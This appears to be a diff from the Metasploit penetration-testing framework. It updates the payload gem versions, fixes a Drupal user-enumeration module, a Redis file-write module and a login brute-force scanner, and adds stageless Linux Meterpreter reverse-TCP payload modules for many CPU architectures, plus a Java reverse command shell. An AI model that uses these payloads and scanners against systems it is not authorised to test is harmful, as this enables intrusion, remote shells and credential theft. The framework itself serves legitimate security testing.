reset_sequence = "\001\r\033[K\002"
|
||||
reset_sequence = "\n\001\r\033[K\002"
|
||||
if (/mingw/ =~ RUBY_PLATFORM)
|
||||
reset_sequence = ""
|
||||
end
|
||||
|
||||
@@ -272,6 +272,7 @@ module Shell
|
||||
#
|
||||
def print_error(msg='')
|
||||
return if (output.nil?)
|
||||
return if (msg.nil?)
|
||||
|
||||
self.on_print_proc.call(msg) if self.on_print_proc
|
||||
# Errors are not subject to disabled output
|
||||
|
||||
@@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.1'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.4'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
@@ -128,7 +128,7 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'rex-struct2'
|
||||
# Library which contains architecture specific information such as registers, opcodes,
|
||||
# and stack manipulation routines.
|
||||
spec.add_runtime_dependency 'rex-arch', '0.1.2'
|
||||
spec.add_runtime_dependency 'rex-arch', '0.1.4'
|
||||
# Library for working with OLE.
|
||||
spec.add_runtime_dependency 'rex-ole'
|
||||
# Library for creating and/or parsing MIME messages.
|
||||
|
||||
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def base_uri
|
||||
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
|
||||
@base_uri ||= normalize_uri("#{target_uri.path}/?q=admin/views/ajax/autocomplete/user/")
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
@@ -126,9 +126,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
results = results.flatten.uniq
|
||||
print_status("Done. #{results.length} usernames found...")
|
||||
results.flatten.uniq.each do |user|
|
||||
results.each do |user|
|
||||
print_good("Found User: #{user}")
|
||||
|
||||
report_cred(
|
||||
|
||||
@@ -78,12 +78,14 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if not datastore['QUERY'].empty?
|
||||
qvars = queryparse(datastore['QUERY']) #Now its a Hash
|
||||
else
|
||||
print_error("You need to set QUERY param for GET")
|
||||
return
|
||||
end
|
||||
else
|
||||
if not datastore['DATA'].empty?
|
||||
qvars = queryparse(datastore['DATA']) #Now its a Hash
|
||||
else
|
||||
print_error("You need to set DATA parameter for POST")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
@@ -55,18 +55,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# Get the currently configured dir and dbfilename before we overwrite them;
|
||||
# we should set them back to their original values after we are done.
|
||||
# XXX: this is a hack -- we should really parse the responses more correctly
|
||||
original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last
|
||||
original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last
|
||||
original_dir = (redis_command('CONFIG', 'GET', 'dir') || '').split(/\r\n/).last
|
||||
original_dbfilename = (redis_command('CONFIG', 'GET', 'dbfilename') || '').split(/\r\n/).last
|
||||
if datastore['DISABLE_RDBCOMPRESSION']
|
||||
original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last
|
||||
original_rdbcompression = (redis_command('CONFIG', 'GET', 'rdbcompression') || '').split(/\r\n/).last
|
||||
end
|
||||
|
||||
# set the directory which stores the current redis local store
|
||||
data = redis_command('CONFIG', 'SET', 'dir', dirname)
|
||||
data = redis_command('CONFIG', 'SET', 'dir', dirname) || ''
|
||||
return unless data.include?('+OK')
|
||||
|
||||
# set the file name, relative to the above directory name, that is the redis local store
|
||||
data = redis_command('CONFIG', 'SET', 'dbfilename', basename)
|
||||
data = redis_command('CONFIG', 'SET', 'dbfilename', basename) || ''
|
||||
return unless data.include?('+OK')
|
||||
|
||||
# Compression string objects using LZF when dump .rdb databases ?
|
||||
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# the dataset will likely be bigger if you have compressible values or
|
||||
# keys.
|
||||
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
|
||||
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no')
|
||||
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') || ''
|
||||
if data.include?('+OK')
|
||||
reset_rdbcompression = true
|
||||
else
|
||||
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if datastore['FLUSHALL']
|
||||
data = redis_command('FLUSHALL')
|
||||
data = redis_command('FLUSHALL') || ''
|
||||
unless data.include?('+OK')
|
||||
print_warning("#{peer} -- failed to flushall(); continuing")
|
||||
end
|
||||
@@ -96,9 +96,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# multiline. It also probably doesn't work well if the content isn't
|
||||
# simple ASCII text
|
||||
key = Rex::Text.rand_text_alpha(32)
|
||||
data = redis_command('SET', key, content)
|
||||
data = redis_command('SET', key, content) || ''
|
||||
return unless data.include?('+OK')
|
||||
data = redis_command('SAVE')
|
||||
data = redis_command('SAVE') || ''
|
||||
|
||||
if data.include?('+OK')
|
||||
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
|
||||
|
||||
@@ -55,6 +55,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
register_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", true ]),
|
||||
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
|
||||
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]),
|
||||
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
|
||||
@@ -121,6 +122,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::LOCKED_OUT
|
||||
print_error("Account lockout detected on '#{result.credential}'")
|
||||
return if datastore['ABORT_ON_LOCKOUT']
|
||||
when Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
|
||||
report_creds(ip, rport, result)
|
||||
|
||||
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
||||
@@ -35,9 +35,6 @@ module MetasploitModule
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||
'Payload' => '',
|
||||
))
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -30,9 +30,6 @@ module MetasploitModule
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||
'Payload' => '',
|
||||
))
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -16,37 +16,24 @@ module MetasploitModule
|
||||
include Msf::Payload::Java
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'java' ],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' => {'Offsets' => {}, 'Payload' => ''}
|
||||
))
|
||||
@class_files = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||
[ "javapayload", "stage", "Shell.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_sub("metasploit") if opts[:random]
|
||||
@class_files.each do |path|
|
||||
class_files.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
@@ -57,15 +44,16 @@ module MetasploitModule
|
||||
jar.add_file(path.join("/"), data)
|
||||
end
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
jar.add_file("metasploit.dat", config)
|
||||
jar.add_file("metasploit.dat", stager_config(opts))
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
def config
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
c = ""
|
||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
# Magical, means use stdin/stdout. Used for debugging
|
||||
#c << "LPORT=0\n"
|
||||
c << "EmbeddedStage=Shell\n"
|
||||
@@ -73,4 +61,12 @@ module MetasploitModule
|
||||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
[
|
||||
['metasploit', 'Payload.class'],
|
||||
['javapayload', 'stage', 'Stage.class'],
|
||||
['javapayload', 'stage', 'StreamForwarder.class'],
|
||||
['javapayload', 'stage', 'Shell.class'],
|
||||
]
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292344
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_armbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 285000
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMBE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_armle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 284152
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_armle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_mips64_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 504960
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_mipsbe_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484668
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_mipsle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 484732
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_ppc_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 329724
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_PPC,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_ppc_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_ppc64le_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 396160
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_PPC64LE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 289824
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 292828
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,41 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/base/sessions/mettle_config'
|
||||
require 'msf/base/sessions/meterpreter_zarch_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 367864
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
include Msf::Sessions::MettleConfig
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Run the mettle server payload (stageless)',
|
||||
'Author' => [
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_ZARCH,
|
||||
'License' => MSF_LICENSE,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def generate
|
||||
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config).to_binary :exec
|
||||
end
|
||||
end
|
||||
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 27144
|
||||
CachedSize = 27149
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 51742
|
||||
CachedSize = 51758
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 51706
|
||||
CachedSize = 51718
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
@@ -35,7 +35,7 @@ module MetasploitModule
|
||||
def generate_reverse_http(opts={})
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 51706
|
||||
CachedSize = 51722
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
@@ -36,7 +36,7 @@ module MetasploitModule
|
||||
opts[:scheme] = 'https'
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
||||
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 51662
|
||||
CachedSize = 51674
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -40,8 +40,9 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
||||
@@ -40,13 +40,13 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -40,13 +40,13 @@ module MetasploitModule
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
